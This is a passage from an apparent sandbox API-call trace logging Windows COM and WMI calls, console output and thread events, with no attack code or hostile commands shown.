ppvObject=0x5bddd60 | out: ppvObject=0x5bddd60*=0x0) returned 0x80004002 [0163.005] CoGetContextToken (in: pToken=0x5bdddc0 | out: pToken=0x5bdddc0) returned 0x0 [0163.005] CoGetContextToken (in: pToken=0x5bde1d4 | out: pToken=0x5bde1d4) returned 0x0 [0163.005] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3ed0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde254 | out: ppvObject=0x5bde254*=0x0) returned 0x80004002 [0163.005] WbemStatusCodeText:IUnknown:Release (This=0x5fc3ed0) returned 0x2 [0163.005] WbemStatusCodeText:IUnknown:Release (This=0x5fc3ed0) returned 0x1 [0163.005] CoGetContextToken (in: pToken=0x5bde854 | out: pToken=0x5bde854) returned 0x0 [0163.005] CoGetContextToken (in: pToken=0x5bde7b4 | out: pToken=0x5bde7b4) returned 0x0 [0163.005] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3ed0, riid=0x5bde884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x5bde880 | out: ppvObject=0x5bde880*=0x5fc3ed0) returned 0x0 [0163.005] WbemStatusCodeText:IUnknown:AddRef (This=0x5fc3ed0) returned 0x3 [0163.005] WbemStatusCodeText:IUnknown:Release (This=0x5fc3ed0) returned 0x2 [0163.005] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5fc3ed0, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x5bde9e4 | out: MessageText=0x5bde9e4*="Not found ") returned 0x0 [0163.005] SysStringByteLen (bstr="Not found ") returned 0x14 [0163.006] GetConsoleOutputCP () returned 0x1b5 [0163.007] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeb14) returned 0 [0163.007] GetConsoleOutputCP () returned 0x1b5 [0163.007] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeb14) returned 0 [0163.007] GetConsoleOutputCP () returned 0x1b5 [0163.007] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeb14) returned 0 [0163.007] GetConsoleOutputCP () returned 0x1b5 [0163.007] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeb14) returned 0 [0163.007] GetConsoleOutputCP () returned 0x1b5 [0163.007] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeb14) returned 0 [0163.008] GetConsoleOutputCP () returned 0x1b5 [0163.008] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeb14) returned 0 [0163.008] GetConsoleOutputCP () returned 0x1b5 [0163.008] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeb14) returned 0 [0163.008] GetConsoleOutputCP () returned 0x1b5 [0163.008] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5bdeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5bdeb14) returned 0 [0163.008] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5bdebb0 | out: lpConsoleScreenBufferInfo=0x5bdebb0) returned 1 [0163.009] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5bdeba8 | out: lpMode=0x5bdeba8) returned 1 [0163.009] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22a90f4*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5bdeb9c, lpReserved=0x0 | out: lpBuffer=0x22a90f4*, lpNumberOfCharsWritten=0x5bdeb9c*=0x4f) returned 1 [0163.009] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5bdeba8 | out: lpMode=0x5bdeba8) returned 1 [0163.010] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x226e034*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5bdeb9c, lpReserved=0x0 | out: lpBuffer=0x226e034*, lpNumberOfCharsWritten=0x5bdeb9c*=0x2) returned 1 [0163.010] CoGetContextToken (in: pToken=0x5bdedac | out: pToken=0x5bdedac) returned 0x0 [0163.010] IEnumWbemClassObject:Clone (in: This=0x5958c0, ppEnum=0x5bdef64 | out: ppEnum=0x5bdef64*=0x5954d8) returned 0x0 [0163.012] IUnknown:QueryInterface (in: This=0x5954d8, riid=0x6b3b35b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdee20 | out: ppvObject=0x5bdee20*=0x5954dc) returned 0x0 [0163.012] IClientSecurity:QueryBlanket (in: This=0x5954dc, pProxy=0x5954d8, pAuthnSvc=0x5bdee70, pAuthzSvc=0x5bdee6c, pServerPrincName=0x5bdee64, pAuthnLevel=0x5bdee68, pImpLevel=0x5bdee58, pAuthInfo=0x5bdee5c, pCapabilites=0x5bdee60 | out: pAuthnSvc=0x5bdee70*=0xa, pAuthzSvc=0x5bdee6c*=0x0, pServerPrincName=0x5bdee64, pAuthnLevel=0x5bdee68*=0x6, pImpLevel=0x5bdee58*=0x2, pAuthInfo=0x5bdee5c, pCapabilites=0x5bdee60*=0x1) returned 0x0 [0163.012] IUnknown:Release (This=0x5954dc) returned 0x1 [0163.012] IUnknown:QueryInterface (in: This=0x5954d8, riid=0x6b3b35a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdee14 | out: ppvObject=0x5bdee14*=0x5c169c) returned 0x0 [0163.012] IUnknown:QueryInterface (in: This=0x5954d8, riid=0x6b3b35b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdee00 | out: ppvObject=0x5bdee00*=0x5954dc) returned 0x0 [0163.012] IClientSecurity:SetBlanket (This=0x5954dc, pProxy=0x5954d8, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0163.015] IUnknown:Release (This=0x5954dc) returned 0x2 [0163.015] WbemLocator:IUnknown:Release (This=0x5c169c) returned 0x1 [0163.015] CoTaskMemFree (pv=0x5f8afc0) [0163.015] IUnknown:AddRef (This=0x5954d8) returned 0x2 [0163.015] CoGetContextToken (in: pToken=0x5bde330 | out: pToken=0x5bde330) returned 0x0 [0163.015] CoGetContextToken (in: pToken=0x5bde744 | out: pToken=0x5bde744) returned 0x0 [0163.015] IUnknown:QueryInterface (in: This=0x5954d8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde6dc | out: ppvObject=0x5bde6dc*=0x5c1684) returned 0x0 [0163.016] WbemLocator:IRpcOptions:Query (in: This=0x5c1684, pPrx=0x5fa3688, dwProperty=2, pdwValue=0x5bde7d0 | out: pdwValue=0x5bde7d0) returned 0x80004002 [0163.016] WbemLocator:IUnknown:Release (This=0x5c1684) returned 0x2 [0163.016] CoGetContextToken (in: pToken=0x5bded14 | out: pToken=0x5bded14) returned 0x0 [0163.016] CoGetContextToken (in: pToken=0x5bdec74 | out: pToken=0x5bdec74) returned 0x0 [0163.016] IUnknown:QueryInterface (in: This=0x5954d8, riid=0x5bded44*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x5bdec10 | out: ppvObject=0x5bdec10*=0x5954d8) returned 0x0 [0163.016] IUnknown:Release (This=0x5954d8) returned 0x2 [0163.016] SysStringLen (param_1=0x0) returned 0x0 [0163.016] IEnumWbemClassObject:Reset (This=0x5954d8) returned 0x0 [0163.019] CoTaskMemAlloc (cb=0x4) returned 0x5fc3f00 [0163.019] IEnumWbemClassObject:Next (in: This=0x5954d8, lTimeout=-1, uCount=0x1, apObjects=0x5fc3f00, puReturned=0x22a91d8 | out: apObjects=0x5fc3f00*=0x6079d0, puReturned=0x22a91d8*=0x1) returned 0x0 [0163.021] IUnknown:QueryInterface (in: This=0x6079d0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde5bc | out: ppvObject=0x5bde5bc*=0x6079d0) returned 0x0 [0163.021] IUnknown:QueryInterface (in: This=0x6079d0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5bde570 | out: ppvObject=0x5bde570*=0x0) returned 0x80004002 [0163.021] IUnknown:QueryInterface (in: This=0x6079d0, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5bde398 | out: ppvObject=0x5bde398*=0x0) returned 0x80004002 [0163.021] IUnknown:AddRef (This=0x6079d0) returned 0x3 [0163.021] IUnknown:QueryInterface (in: This=0x6079d0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5bddecc | out: ppvObject=0x5bddecc*=0x0) returned 0x80004002 [0163.021] IUnknown:QueryInterface (in: This=0x6079d0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5bdde7c | out: ppvObject=0x5bdde7c*=0x0) returned 0x80004002 [0163.021] IUnknown:QueryInterface (in: This=0x6079d0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bdde88 | out: ppvObject=0x5bdde88*=0x6079d4) returned 0x0 [0163.021] IMarshal:GetUnmarshalClass (in: This=0x6079d4, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5bdde90 | out: pCid=0x5bdde90*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0163.021] IUnknown:Release (This=0x6079d4) returned 0x3 [0163.021] CoGetContextToken (in: pToken=0x5bddee8 | out: pToken=0x5bddee8) returned 0x0 [0163.021] CoGetContextToken (in: pToken=0x5bde2fc | out: pToken=0x5bde2fc) returned 0x0 [0163.022] IUnknown:QueryInterface (in: This=0x6079d0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde37c | out: ppvObject=0x5bde37c*=0x0) returned 0x80004002 [0163.022] IUnknown:Release (This=0x6079d0) returned 0x2 [0163.022] CoGetContextToken (in: pToken=0x5bde8e4 | out: pToken=0x5bde8e4) returned 0x0 [0163.022] CoGetContextToken (in: pToken=0x5bde844 | out: pToken=0x5bde844) returned 0x0 [0163.022] IUnknown:QueryInterface (in: This=0x6079d0, riid=0x5bde914*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5bde910 | out: ppvObject=0x5bde910*=0x6079d0) returned 0x0 [0163.022] IUnknown:AddRef (This=0x6079d0) returned 0x4 [0163.022] IUnknown:Release (This=0x6079d0) returned 0x3 [0163.022] IUnknown:Release (This=0x6079d0) returned 0x2 [0163.022] CoTaskMemFree (pv=0x5fc3f00) [0163.022] CoGetContextToken (in: pToken=0x5bdec54 | out: pToken=0x5bdec54) returned 0x0 [0163.022] IUnknown:AddRef (This=0x6079d0) returned 0x3 [0163.022] CoTaskMemAlloc (cb=0x4) returned 0x5fc3f00 [0163.023] IEnumWbemClassObject:Next (in: This=0x5954d8, lTimeout=-1, uCount=0x1, apObjects=0x5fc3f00, puReturned=0x22a91d8 | out: apObjects=0x5fc3f00*=0x0, puReturned=0x22a91d8*=0x0) returned 0x1 [0163.024] CoTaskMemFree (pv=0x5fc3f00) [0163.024] CoTaskMemAlloc (cb=0x4) returned 0x5fc3f00 [0163.024] IEnumWbemClassObject:Next (in: This=0x595988, lTimeout=-1, uCount=0x1, apObjects=0x5fc3f00, puReturned=0x227af44 | out: apObjects=0x5fc3f00*=0x0, puReturned=0x227af44*=0x0) returned 0x1 [0163.025] CoTaskMemFree (pv=0x5fc3f00) [0163.025] CoGetContextToken (in: pToken=0x5bdee98 | out: pToken=0x5bdee98) returned 0x0 [0163.025] IUnknown:Release (This=0x595988) returned 0x1 [0163.025] IUnknown:Release (This=0x595988) returned 0x0 [0163.026] CoGetContextToken (in: pToken=0x5bdee98 | out: pToken=0x5bdee98) returned 0x0 [0163.026] IUnknown:Release (This=0x5958c0) returned 0x1 [0163.027] IUnknown:Release (This=0x5958c0) returned 0x0 [0163.028] EtwEventActivityIdControl () returned 0x0 [0163.028] EtwEventActivityIdControl () returned 0x0 [0163.029] EtwEventActivityIdControl () returned 0x0 [0163.029] EtwEventActivityIdControl () returned 0x0 [0163.029] EtwEventActivityIdControl () returned 0x0 [0163.029] EtwEventActivityIdControl () returned 0x0 [0163.029] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5bdf0a4 | out: lpConsoleScreenBufferInfo=0x5bdf0a4) returned 1 [0163.029] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5bdf09c | out: lpMode=0x5bdf09c) returned 1 [0163.030] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x226e034*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5bdf090, lpReserved=0x0 | out: lpBuffer=0x226e034*, lpNumberOfCharsWritten=0x5bdf090*=0x2) returned 1 [0163.030] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5bdf0a8 | out: lpConsoleScreenBufferInfo=0x5bdf0a8) returned 1 [0163.030] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5bdf0a0 | out: lpMode=0x5bdf0a0) returned 1 [0163.030] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x226e034*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5bdf094, lpReserved=0x0 | out: lpBuffer=0x226e034*, lpNumberOfCharsWritten=0x5bdf094*=0x2) returned 1 [0163.031] EtwEventActivityIdControl () returned 0x0 [0163.031] EtwEventActivityIdControl () returned 0x0 [0163.031] EtwEventActivityIdControl () returned 0x0 [0163.031] EtwEventActivityIdControl () returned 0x0 [0163.031] SetEvent (hEvent=0x348) returned 1 [0163.031] SetEvent (hEvent=0x33c) returned 1 [0163.032] SetEvent (hEvent=0x340) returned 1 [0163.032] SetEvent (hEvent=0x344) returned 1 [0163.032] SetEvent (hEvent=0x358) returned 1 [0163.032] SetEvent (hEvent=0x34c) returned 1 [0163.032] SetEvent (hEvent=0x350) returned 1 [0163.032] SetEvent (hEvent=0x354) returned 1 [0163.032] SetEvent (hEvent=0x35c) returned 1 [0163.032] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5bdf5b0*=0x364, lpdwindex=0x5bdf3d4 | out: lpdwindex=0x5bdf3d4) returned 0x0 [0163.035] SetThreadUILanguage (LangId=0x0) returned 0x409 [0163.036] CoCreateGuid (in: pguid=0x5bdf41c | out: pguid=0x5bdf41c*(Data1=0x8aba276e, Data2=0xc9f2, Data3=0x4744, Data4=([0]=0x93, [1]=0xc2, [2]=0xe3, [3]=0x8e, [4]=0x33, [5]=0xd5, [6]=0xda, [7]=0x88))) returned 0x0 [0163.037] QueryPerformanceCounter (in: lpPerformanceCount=0x5bdf3fc | out: lpPerformanceCount=0x5bdf3fc*=1180401374789) returned 1 [0163.043] QueryPerformanceCounter (in: lpPerformanceCount=0x5bdf3c4 | out: lpPerformanceCount=0x5bdf3c4*=1180402049106) returned 1 [0163.043] EtwEventActivityIdControl () returned 0x0 [0163.043] EtwEventActivityIdControl () returned 0x0 [0163.043] EtwEventActivityIdControl () returned 0x0 [0163.044] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x2, pHandles=0x5bdef70*=0x4c4, lpdwindex=0x5bdee34 | out: lpdwindex=0x5bdee34) returned 0x0 [0163.044] SetEvent (hEvent=0x4c8) returned 1 [0163.044] SetEvent (hEvent=0x4c4) returned 1 [0163.045] EtwEventActivityIdControl () returned 0x0 [0163.045] SetEvent (hEvent=0x4d0) returned 1 [0163.045] SetEvent (hEvent=0x4c8) returned 1 [0163.045] SetEvent (hEvent=0x4c4) returned 1 [0163.045] SetEvent (hEvent=0x568) returned 1 [0163.045] SetEvent (hEvent=0x4d4) returned 1 [0163.045] SetEvent (hEvent=0x4d8) returned 1 [0163.045] SetEvent (hEvent=0x4dc) returned 1 [0163.045] SetEvent (hEvent=0x360) returned 1 [0163.045] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5bdf5b0*=0x364, lpdwindex=0x5bdf3d4 | out: lpdwindex=0x5bdf3d4) returned 0x0 [0163.076] CoGetContextToken (in: pToken=0x5bdf99c | out: pToken=0x5bdf99c) returned 0x0 [0163.077] CoGetContextToken (in: pToken=0x5bdf394 | out: pToken=0x5bdf394) returned 0x0 [0163.077] CoGetContextToken (in: pToken=0x5bdf318 | out: pToken=0x5bdf318) returned 0x0 [0163.077] WbemStatusCodeText:IUnknown:Release (This=0x5fc3ed0) returned 0x1 [0163.077] WbemStatusCodeText:IUnknown:Release (This=0x5fc3ed0) returned 0x0 [0163.077] CoGetContextToken (in: pToken=0x5bdf318 | out: pToken=0x5bdf318) returned 0x0 [0163.077] WbemStatusCodeText:IUnknown:Release (This=0x5fc3e90) returned 0x1 [0163.077] WbemStatusCodeText:IUnknown:Release (This=0x5fc3e90) returned 0x0 [0163.077] CoGetContextToken (in: pToken=0x5bdf318 | out: pToken=0x5bdf318) returned 0x0 [0163.077] WbemStatusCodeText:IUnknown:Release (This=0x5f6aef0) returned 0x1 [0163.077] WbemStatusCodeText:IUnknown:Release (This=0x5f6aef0) returned 0x0 [0163.077] CoGetContextToken (in: pToken=0x5bdf318 | out: pToken=0x5bdf318) returned 0x0 [0163.077] IUnknown:Release (This=0x5fc3b10) returned 0x2 [0163.077] IUnknown:Release (This=0x5fc3b10) returned 0x1 [0163.077] CoGetContextToken (in: pToken=0x5bdf318 | out: pToken=0x5bdf318) returned 0x0 [0163.077] IUnknown:Release (This=0x5954d8) returned 0x1 [0163.077] IUnknown:Release (This=0x5954d8) returned 0x0 [0163.080] CoGetContextToken (in: pToken=0x5bdf318 | out: pToken=0x5bdf318) returned 0x0 [0163.080] WbemStatusCodeText:IUnknown:Release (This=0x5f6afd0) returned 0x1 [0163.080] WbemStatusCodeText:IUnknown:Release (This=0x5f6afd0) returned 0x0 [0163.080] CoGetContextToken (in: pToken=0x5bdf318 | out: pToken=0x5bdf318) returned 0x0 [0163.080] WbemStatusCodeText:IUnknown:Release (This=0x5f6af90) returned 0x1 [0163.080] WbemStatusCodeText:IUnknown:Release (This=0x5f6af90) returned 0x0 [0163.080] CoGetContextToken (in: pToken=0x5bdf318 | out: pToken=0x5bdf318) returned 0x0 [0163.080] WbemStatusCodeText:IUnknown:Release (This=0x5fc3eb0) returned 0x1 [0163.080] WbemStatusCodeText:IUnknown:Release (This=0x5fc3eb0) returned 0x0 [0163.080] CoGetContextToken (in: pToken=0x5bdf318 | out: pToken=0x5bdf318) returned 0x0 [0163.080] WbemStatusCodeText:IUnknown:Release (This=0x5f6af50) returned 0x1 [0163.080] WbemStatusCodeText:IUnknown:Release (This=0x5f6af50) returned 0x0 [0163.080] CoGetContextToken (in: pToken=0x5bdf318 | out: pToken=0x5bdf318) returned 0x0 [0163.080] IUnknown:Release (This=0x6079d0) returned 0x2 [0163.080] IUnknown:Release (This=0x6079d0) returned 0x1 [0163.080] CoGetContextToken (in: pToken=0x5bdf318 | out: pToken=0x5bdf318) returned 0x0 [0163.080] WbemStatusCodeText:IUnknown:Release (This=0x5fc3d80) returned 0x1 [0163.080] WbemStatusCodeText:IUnknown:Release (This=0x5fc3d80) returned 0x0 [0163.080] CoGetContextToken (in: pToken=0x5bdf318 | out: pToken=0x5bdf318) returned 0x0 [0163.080] IUnknown:Release (This=0x5f6b650) returned 0x2 [0163.080] IUnknown:Release (This=0x5f6b650) returned 0x1 [0163.080] CoGetContextToken (in: pToken=0x5bdf318 | out: pToken=0x5bdf318) returned 0x0 [0163.080] WbemStatusCodeText:IUnknown:Release (This=0x5fc3ea0) returned 0x1 [0163.080] WbemStatusCodeText:IUnknown:Release (This=0x5fc3ea0) returned 0x0 [0163.081] CoGetContextToken (in: pToken=0x5bdf318 | out: pToken=0x5bdf318) returned 0x0 [0163.081] IUnknown:Release (This=0x595a50) returned 0x1 [0163.081] IUnknown:Release (This=0x595a50) returned 0x0 [0163.083] CoGetContextToken (in: pToken=0x5bdf318 | out: pToken=0x5bdf318) returned 0x0 [0163.083] WbemStatusCodeText:IUnknown:Release (This=0x5fc3ec0) returned 0x1 [0163.083] WbemStatusCodeText:IUnknown:Release (This=0x5fc3ec0) returned 0x0 [0163.083] IUnknown:Release (This=0x581420) returned 0x0 [0163.083] CoUninitialize () Thread: id = 194 os_tid = 0xae0 Thread: id = 195 os_tid = 0xae4 Thread: id = 196 os_tid = 0xae8 Thread: id = 197 os_tid = 0xaec Thread: id = 198 os_tid = 0xaf0 [0154.284] CoGetContextToken (in: pToken=0x5e3f884 | out: pToken=0x5e3f884) returned 0x0 [0154.284] CObjectContext::QueryInterface () returned 0x0 [0154.284] CObjectContext::GetCurrentThreadType () returned 0x0 [0154.284] Release () returned 0x0 [0154.284] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 200 os_tid = 0xaf8 [0155.389] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0155.401] IIDFromString (in: lpsz="{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}", lpiid=0x616edec | out: lpiid=0x616edec) returned 0x0 [0155.403] CoGetClassObject (in: rclsid=0x6292f4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x616eb08 | out: ppv=0x616eb08*=0x62d010) returned 0x0 [0155.429] WbemDefPath:IUnknown:QueryInterface (in: This=0x62d010, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x616ed20 | out: ppvObject=0x616ed20*=0x0) returned 0x80004002 [0155.429] WbemDefPath:IClassFactory:CreateInstance (in: This=0x62d010, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616ed2c | out: ppvObject=0x616ed2c*=0x5df070) returned 0x0 [0155.430] WbemDefPath:IUnknown:Release (This=0x62d010) returned 0x0 [0155.430] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df070, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e94c | out: ppvObject=0x616e94c*=0x5df070) returned 0x0 [0155.431] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df070, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x616e900 | out: ppvObject=0x616e900*=0x0) returned 0x80004002 [0155.432] WbemDefPath:IUnknown:AddRef (This=0x5df070) returned 0x3 [0155.432] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df070, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x616e25c | out: ppvObject=0x616e25c*=0x0) returned 0x80004002 [0155.432] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df070, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x616e20c | out: ppvObject=0x616e20c*=0x0) returned 0x80004002 [0155.432] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df070, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e218 | out: ppvObject=0x616e218*=0x5f6acb0) returned 0x0 [0155.432] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5f6acb0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x616e220 | out: pCid=0x616e220*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0155.432] WbemDefPath:IUnknown:Release (This=0x5f6acb0) returned 0x3 [0155.432] CoGetContextToken (in: pToken=0x616e278 | out: pToken=0x616e278) returned 0x0 [0155.433] CoGetContextToken (in: pToken=0x616e68c | out: pToken=0x616e68c) returned 0x0 [0155.433] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df070, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e70c | out: ppvObject=0x616e70c*=0x0) returned 0x80004002 [0155.433] WbemDefPath:IUnknown:Release (This=0x5df070) returned 0x2 [0155.433] WbemDefPath:IUnknown:Release (This=0x5df070) returned 0x1 [0155.434] SetEvent (hEvent=0x360) returned 1 [0156.432] CoGetClassObject (in: rclsid=0x6292f4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, 